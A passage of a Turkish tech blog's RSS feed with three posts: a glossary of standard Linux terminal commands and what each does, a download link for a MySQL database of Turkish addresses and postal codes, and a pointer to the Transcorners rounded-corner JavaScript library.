		<description><![CDATA[Tüm Linux sunucularında terminal ekranlarında bir çok komut kullanılmaktadır. Geçenlerde bi kaç tanesi gerektiği için bi araştırma yaptım ve karşıma şöyle bişi çıktı. Sizlerle paylaşayım dedim.

 Buryun ;
Aapropos &#8211; whatis veritabanında anahtar sözcüğü ararautoconf &#8211; yapılandırma betiklerini oluştururautoheader &#8211; configure betiği için bir şablon başlığı oluştururautoreconf &#8211; Üretilmiş yapılandırma dosyalarını güncellerautorun &#8211; CDROM sürücülerini özdevinimli [...]]]></description>
			<content:encoded><![CDATA[<p>Tüm Linux sunucularında terminal ekranlarında bir çok komut kullanılmaktadır. Geçenlerde bi kaç tanesi gerektiği için bi araştırma yaptım ve karşıma şöyle bişi çıktı. Sizlerle paylaşayım dedim.</p>
<p><span id="more-109"></span></p>
<p> <strong>Buryun ;</strong></p>
<p><strong>A<br /></strong>apropos &#8211; whatis veritabanında anahtar sözcüğü arar<br />autoconf &#8211; yapılandırma betiklerini oluşturur<br />autoheader &#8211; configure betiği için bir şablon başlığı oluşturur<br />autoreconf &#8211; Üretilmiş yapılandırma dosyalarını günceller<br />autorun &#8211; CDROM sürücülerini özdevinimli dosya sistemine bağlar/ayırır ve bağladıktan sonra /cdrom_dizini/autorun komutunu çalıştırır<br />autoscan &#8211; Öncü bir configure.in üretir<br />autoupdate &#8211; bir configure.in&#8217;i daha yeni bir Autoconf&#8217;a günceller<br /><strong>B</strong><br />base64 &#8211; veriyi base64 kodlar veya kodunu çözer ve standart çıktıya basar<br />basename &#8211; dosya isimlerinden dizin ve soneki ayırır<br />bc &#8211; Keyfî duyarlılıkta hesaplama dili<br />bunzip2 &#8211; sıkıştırılmış dosyaları açar<br />bzcat &#8211; dosyaları standart çıktıda açar<br />bzcmp &#8211; bzip2 ile sıkıştırılmış dosyaları karşılaştırır<br />bzdiff &#8211; bzip2 ile sıkıştırılmış dosyaları karşılaştırır<br />bzegrep &#8211; bir düzenli ifade için belirtilen bzip2 sıkıştırılmış dosyalarında egrep ile arama yapar<br />bzfgrep &#8211; bir düzenli ifade için belirtilen bzip2 sıkıştırılmış dosyalarında fgrep ile arama yapar<br />bzgrep &#8211; bir düzenli ifade için belirtilen bzip2 sıkıştırılmış dosyalarında grep ile arama yapar<br />bzip2 &#8211; blok sıralamalı dosya sıkıştırıcı v1.0.2<br />bzip2recover &#8211; zarar görmüş bzip2 dosyalarındaki verileri kurtarır<br /><strong>C</strong><br />cal &#8211; bir takvim görüntüler<br />cat &#8211; dosyaları birleştirir ve standart çıktıya yazar<br />chage &#8211; kullanıcı parolasının son kullanma tarihini değiştirir<br />chattr &#8211; Bir Linux genişletilmiş ikinci sürüm dosya sisteminin üzerinde dosya özniteliklerini değiştirir<br />chfn &#8211; kişisel bilgilerinizi değiştirir<br />chgrp &#8211; dosyanın grup iyeliğini değiştirir<br />chmod &#8211; dosya kip bitlerini değiştirir<br />chown &#8211; dosyanın sahibini ve grubunu değiştirir<br />chroot &#8211; özel kök dizini ile komut ya da etkileşimli kabuk çalıştırır<br />cksum &#8211; dosya içindeki baytları sayar ve sağlamasını yapar<br />clear &#8211; uçbirim ekranını temizler<br />cmp &#8211; iki dosyayı karşılaştırır<br />comm &#8211; sıralanmış iki dosyayı satır satır karşılaştırır<br />compress &#8211; verileri sıkıştırır (sürüm 4.1)<br />cp &#8211; dosya ve dizinleri kopyalar<br />crontab &#8211; bağımsız kullanıcılar için crontab dosyalarının bakımını ve işletilmesini sağlar (V3)<br />cryptdir &#8211; bir dizindeki bütün dosyaları şifreler<br />csplit &#8211; bir dosyayı bağlamsal satırlara göre bölümlere ayırır<br />cut &#8211; dosyaların her satırından belli bölümleri siler<br /><strong>D</strong><br />date &#8211; sistem tarih ve saatini görüntüler veya ayarlar<br />dd &#8211; bir dosyayı dönüştürür ve kopyalar<br />decryptdir &#8211; bir dizindeki bütün dosyaları deşifre eder<br />df &#8211; dosya sisteminin disk alanı kullanımını gösterir<br />diff &#8211; iki dosya arasındaki farklılıkları bulur<br />diff3 &#8211; üç dosya arasındaki farkları bulur<br />dir &#8211; dizinlerin içindekileri listeler<br />dircolors &#8211; ls için renkleri ayarlar<br />dirname &#8211; dosya isminin sonundan dizin olmayan kısmı ayırır<br />dnsdomainname &#8211; sistemin DNS alan ismini gösterir<br />domainname &#8211; sistemin NIS/YP alan ismini atar ya da gösterir<br />du &#8211; yaklaşık dosya alanı kullanımı<br /><strong>E<br /></strong>echo &#8211; tek satırlık bir metin görüntüler<br />env &#8211; değiştirilmiş ortamda komut çalıştırır<br />expand &#8211; sekmeleri boşluklarla değiştirir<br />expr &#8211; ifadeleri değerlendirir<br /><strong>F</strong><br />factor &#8211; sayıları asal çarpanlarına ayırır<br />false &#8211; hiçbir şey yapmaz, başarısız olur<br />fmt &#8211; paragraf metnini yeniden biçimler<br />fold &#8211; her satırı belirtilen genişlikten katlar<br />free &#8211; sistemdeki kullanılmış ve serbest belleklerle ilgili bilgi verir<br /><strong>G</strong><br />getty &#8211; uçbirim kipini, hızını ve hat disiplinini ayarlar<br />groups &#8211; kullanıcının üyesi olduğu grupları basar<br />gunzip &#8211; sıkıştırılmış dosyaları açar<br />gzcat &#8211; sıkıştırılmış dosyaları standart çıktıda açar<br />gzip &#8211; dosyaları sıkıştırır<br /><strong>H<br /></strong>head &#8211; dosyaların ilk 10 satırını basar<br />hostid &#8211; konağın sayısal betimleyicisini basar<br />hostname &#8211; sistemin konak ismini atar ya da gösterir<br /><strong>I<br /></strong>iconv &#8211; belirtilen dosyanın karakter kodlamasını değiştirir<br />id &#8211; kullanıcı kimliğini basar<br />ifnames &#8211; C dosyalarından önişlemci komutlarını çıkarır<br />install &#8211; dosyaları kopyalar, özniteliklerini ayarlar<br /><strong>J<br /></strong>join &#8211; iki dosyanın satırlarını ortak bir alanda birleştir<br /><strong>K<br /></strong>kill &#8211; süreçlere sinyal gönderir veya sinyalleri listeler<br />killall &#8211; ismi belirtilen süreçleri sonlandırır<br /><strong>L<br /></strong>ldd &#8211; paylaşımlı kütüphane bağımlılıklarını görüntüler<br />link &#8211; bir dosyaya bağ oluşturmak için link işlevini çağırır<br />ln &#8211; dosyalar arasında bağlar oluşturur<br />login &#8211; Kullanıcının sisteme girişini sağlar.<br />logname &#8211; kullanıcının ismini basar<br />ls &#8211; dizinlerin içindekileri listeler<br />lsattr &#8211; Bir Linux genişletilmiş ikinci sürüm dosya sisteminin üzerinde dosya özniteliklerini listeler<br /><strong>M</strong><br />man &#8211; kılavuz sayfalarını biçimler ve görüntüler<br />manpath &#8211; man sayfalarının aranacağı yolu gösterir<br />md5sum &#8211; MD5 ileti özetini hesaplar ve sınar<br />mkdir &#8211; dizinleri oluşturur<br />mkfifo &#8211; FIFO&#8217;lar (isimli borular) oluşturur<br />mknod &#8211; blok veya karakter özel dosyalarını oluşturur<br />mv &#8211; dosyaları taşır (ismini değiştirir)<br /><strong>N<br /></strong>nice &#8211; işlem önceliğini değiştirerek bir dosyayı çalıştırır<br />nisdomainname &#8211; sistemin NIS/YP alan ismini atar ya da gösterir<br />nl &#8211; dosya satırlarını numaralar<br />nodename &#8211; sistemin DECnet düğüm ismini atar ya da gösterir<br />nohup &#8211; bir komutu uçbirimsiz ve bitir sinyallerini yoksayarak çalıştırır<br /><strong>O</strong><br />od &#8211; dosyayı sekizlik veya başka bir biçimde dökümler<br /><strong>P<br /></strong>passwd &#8211; kullanıcının parolasını günceller<br />paste &#8211; dosyaların satırlarını birleştirir<br />patch &#8211; bir yama dosyasını orjinaline uygular<br />pathchk &#8211; dosya isimlerinin geçerliliğini ve taşınabilirliğini sınar<br />pico &#8211; Pine eposta istemcisi tarzında basit bir metin düzenleyici<br />pinky &#8211; basit bir `finger&#8217; uygulaması; kullanıcı bilgilerini gösterir<br />play &#8211; ses aygıtında herhangi bir ses dosyasını çalar<br />pr &#8211; metin dosyalarını yazıcıda basılacak biçime dönüştürür<br />printenv &#8211; ortamı tamamen veya kısmen basar<br />printf &#8211; veriyi biçimler ve basar<br />ptx &#8211; dosya içeriğini karılmış olarak basar<br />pwd &#8211; içinde bulunulan dizinin ismini basar<br /><strong>R<br /></strong>readlink &#8211; bir sembolik bağın değerini gösterir<br />rec &#8211; sesi bir ses dosyası biçiminde kaydeder<br />rm &#8211; dosya ve dizinleri siler<br />rmdir &#8211; boş dizinleri siler<br />rsync &#8211; rcp yerine daha hızlı ve esnek bir araç<br /><strong>S</strong><br />scp &#8211; güvenli kopyalama (uzaktan erişimle dosya kopyalama komutu)<br />sdiff &#8211; iki dosya arasındaki farklılıkları bulur ve etkileşimli olarak katıştırır<br />seq &#8211; bir sayı dizisi basar<br />sha1sum &#8211; SHA1 ileti özetini hesaplar ve sınar<br />sha224sum &#8211; SHA224 ileti özetini hesaplar ve sınar<br />sha256sum &#8211; SHA256 ileti özetini hesaplar ve sınar<br />sha384sum &#8211; SHA384 ileti özetini hesaplar ve sınar<br />sha512sum &#8211; SHA512 ileti özetini hesaplar ve sınar<br />shred &#8211; içeriğini gizlemek bazan da silmek için dosyanın üzerine yazar<br />shuf &#8211; satırları rasgele karar<br />sleep &#8211; belli bir süre geciktirir<br />sort &#8211; metin dosyalarını satırlarını sıralar<br />split &#8211; bir dosyayı parçalara ayırır<br />ssh &#8211; OpenSSH SSH istemcisi (uzaktan oturum açma aracı)<br />stat &#8211; bir dosyanın veya dosya sisteminin durumunu gösterir<br />stty &#8211; uçbirim hat ayarlarını basar ve değiştirir<br />su &#8211; başka bir kullanıcı ve grup kimliği ile bir kabuk çalıştırır<br />sum &#8211; bir dosyadaki blok sayısını ve sağlama toplamını basar<br />sync &#8211; dosya sistemi tamponlarını boşaltır<br /><strong>T<br /></strong>tac &#8211; dosyaları ardarda sondan başa doğru basar<br />tail &#8211; dosyaların son kısmını basar<br />tee &#8211; standart girdiyi dosyaya ve standart çıktıya kopyalar<br />top &#8211; süreçleri gösterir<br />touch &#8211; dosyanın zaman damgalarını değiştirir<br />tr &#8211; karakterleri çevirir veya siler<br />true &#8211; hiçbir şey yapmaz, başarılı olur<br />tsort &#8211; düzgün doğrusal sıralama yapar<br />tty &#8211; standart girdiye bağlı terminalin dosya ismini basar<br /><strong>U</strong><br />uname &#8211; sistem bilgilerini gösterir<br />uncompress &#8211; sıkıştırılmış verileri açar<br />unexpand &#8211; boşlukları sekmelerle değiştirir<br />uniq &#8211; yinelenen satırları atlar ve raporlar<br />unlink &#8211; bir dosya bağını silmek için unlink işlevini çağırır<br />uptime &#8211; sistemin ne kadar zamandır çalıştığını söyler<br />uucp &#8211; Unix’den Unix’e kopyalama<br /><strong>V<br /></strong>vdir &#8211; dizinlerin içindekileri listeler<br /><strong>X</strong><br />xgettext &#8211; gettext dizgelerini kaynak dosyasından seçer<br />xmllint &#8211; komut satırı XML aracı<br />xmlto &#8211; bir XSL dönüşüm dosyasını bir XML belgesine uygular<br />xsltproc &#8211; komut satırı xslt işlemcisi<br /><strong>Y<br /></strong>ypdomainname &#8211; sistemin NIS/YP alan ismini atar ya da gösterir<br /><strong>Z<br /></strong>zcat &#8211; sıkıştırılmış verileri standart çıktıda açar.<br /><strong>Kaynak</strong> : <a href="http://www.belgeler.org" target="_blank">Belgeler.org</a></p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=109&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>31 Mayıs 2007 -- <a href="http://muzaffer.akyil.net/2007/05/31/makale/os/linux/admin/linux-squid-iptables-ile-internet-yonetimi.aspx" title="Linux + Squid + iptables ile Internet Y&ouml;netimi">Linux + Squid + iptables ile Internet Y&ouml;netimi (8)</a></li><li>30 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/30/makale/os/linux/admin/ubuntu-uzerinde-photoshop-cs2.aspx" title="ubuntu &uuml;zerinde PhotoShop CS2">ubuntu &uuml;zerinde PhotoShop CS2 (0)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/os/linux/admin/dokunmatik-ekran-ve-linux-xgl-cilginligi.aspx" title="Dokunmatik Ekran ve Linux XGL Çılgınlığı">Dokunmatik Ekran ve Linux XGL Çılgınlığı (1)</a></li><li>29 Ocak 2006 -- <a href="http://muzaffer.akyil.net/2006/01/29/makale/admin/dos-saldirlari-icin.aspx" title="Dos Saldırları İçin">Dos Saldırları İçin (2)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2008/01/30/makale/os/linux/admin/linux-terminal-komutlari.aspx/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>İl / İl&#231;e / Mahalle Veritabanı</title>
		<link>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/sql/admin/il-ile-mahalle-veritabani.aspx</link>
		<comments>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/sql/admin/il-ile-mahalle-veritabani.aspx#comments</comments>
		<pubDate>Fri, 25 Jan 2008 15:29:21 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[SQL]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[il]]></category>
		<category><![CDATA[ilçe]]></category>
		<category><![CDATA[köy]]></category>
		<category><![CDATA[mahalle]]></category>
		<category><![CDATA[posta kodu]]></category>
		<category><![CDATA[veritabanı]]></category>

		<guid isPermaLink="false">http://www.muzafferakyil.com/2008/01/25/makale/yazilim/sql/admin/il-ile-mahalle-veritabani.aspx</guid>
		<description><![CDATA[19.08.2009 tarihi itibariyle PTT den alınan veritabanı ile köylerde dahil olmak üzere güncellenmiştir.
Eğer web sitesi yada program yazan biri iseniz bir çok kez Türkiye&#8217;deki tüm iller, bunların ilçeleri ve hatta mahalleleri ve köyleri posta kodları ile birlikte gerekmiş olabilir. Ek&#8217;te tüm veritabanı MySQL Query (.sql) formatında sizi bekliyor.
Download : tblililcemahallekoy
Benzer Yazılar20 Şubat 2009 -- PHP [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>19.08.2009 tarihi itibariyle PTT den alınan veritabanı ile köylerde dahil olmak üzere güncellenmiştir.</p></blockquote>
<p>Eğer web sitesi yada program yazan biri iseniz bir çok kez Türkiye&#8217;deki t<strong>üm iller, bunların ilçeleri ve hatta mahalleleri ve köyleri posta kodları ile birlikte</strong> gerekmiş olabilir. Ek&#8217;te tüm veritabanı <strong>MySQL Query (.sql)</strong> formatında sizi bekliyor.</p>
<p>Download : <a href='http://muzaffer.akyil.net/wp-content/uploads/2008/01/tblililcemahallekoy.rar'>tblililcemahallekoy</a></p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=103&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>20 Şubat 2009 -- <a href="http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx" title="PHP Güvenlik Kılavuzu">PHP Güvenlik Kılavuzu (4)</a></li><li>23 Şubat 2008 -- <a href="http://muzaffer.akyil.net/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx" title="Inner, Outer, Left, Right, Cross(Full) Join Nedir ?">Inner, Outer, Left, Right, Cross(Full) Join Nedir ? (3)</a></li><li>12 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/12/makale/yazilim/php/admin/kisa-yoldan-sql-tablo-tasarimi.aspx" title="Kısayoldan SQL Tablo Tasarımı">Kısayoldan SQL Tablo Tasarımı (1)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/yazilim/visual-basic/function/admin/sql-den-alinan-tarih-bilgisini-duzenleme.aspx" title="SQL den alınan tarih bilgisini düzenleme">SQL den alınan tarih bilgisini düzenleme (2)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/sql/admin/il-ile-mahalle-veritabani.aspx/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Transcorners (Yuvarlak K&#246;şeler)</title>
		<link>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/javascript/admin/transcorners-yuvarlak-kseler.aspx</link>
		<comments>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/javascript/admin/transcorners-yuvarlak-kseler.aspx#comments</comments>
		<pubDate>Fri, 25 Jan 2008 14:55:01 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[transcorners]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[yuvarlak köşe]]></category>

		<guid isPermaLink="false">http://www.muzafferakyil.com/2008/01/25/makale/internet/javascript/admin/transcorners-yuvarlak-kseler.aspx</guid>
		<description><![CDATA[Mootools kullanarak hazırlanmış olan Transcorners sayesinde kolay ve hızlı bir şekilde köşeler oluşturabilirsiniz. İstediğiniz köşeye istediğiniz açıda ve renkte köşeler oluşturmanıza izin veren Transcorners background-image ve 1px’den fazla kalınlığı desteklememeklte. Sadece 4KB transcorners.js’i buradan örneklerine buradan bakabilirsiniz.

 
Benzer Yazılar4 Haziran 2007 -- Tam Ekran CSS/DHTML Preloader (2)12 Nisan 2007 -- Kısayoldan SQL Tablo Tasarımı (1)13 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://mootools.net/" target="_blank">Mootools</a> kullanarak hazırlanmış olan <a href="http://inviz.ru/moo/transcorners/" target="_blank">Transcorners</a> sayesinde kolay ve hızlı bir şekilde köşeler oluşturabilirsiniz. İstediğiniz köşeye istediğiniz açıda ve renkte köşeler oluşturmanıza izin veren <a href="http://inviz.ru/moo/transcorners/" target="_blank">Transcorners</a> background-image ve 1px’den fazla kalınlığı desteklememeklte. Sadece 4KB transcorners.js’i <a href="http://inviz.ru/moo/transcorners/Transcorners.js" target="_blank">buradan</a> örneklerine <a href="http://inviz.ru/moo/transcorners/" target="_blank">buradan</a> bakabilirsiniz.</p>
<p><span id="more-102"></span></p>
<p><img style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" height=293 alt=transcorners src="file:///C:/Documents and Settings/Term02/Application Data/Windows Live Writer/PostSupportingFiles/d6806418-c9f4-48ec-8dd1-26c350ad6fbf/transcorners[5].png" width=450 border=0/> </p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=102&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>4 Haziran 2007 -- <a href="http://muzaffer.akyil.net/2007/06/04/makale/network/internet/admin/tam-ekran-cssdhtml-preloader.aspx" title="Tam Ekran CSS/DHTML Preloader">Tam Ekran CSS/DHTML Preloader (2)</a></li><li>12 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/12/makale/yazilim/php/admin/kisa-yoldan-sql-tablo-tasarimi.aspx" title="Kısayoldan SQL Tablo Tasarımı">Kısayoldan SQL Tablo Tasarımı (1)</a></li><li>13 Aralık 2006 -- <a href="http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx" title="URL String Güvenliği">URL String Güvenliği (0)</a></li><li>13 Aralık 2006 -- <a href="http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/100-site-guvenligi.aspx" title="%100 Site Güvenliği">%100 Site Güvenliği (0)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/javascript/admin/transcorners-yuvarlak-kseler.aspx/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
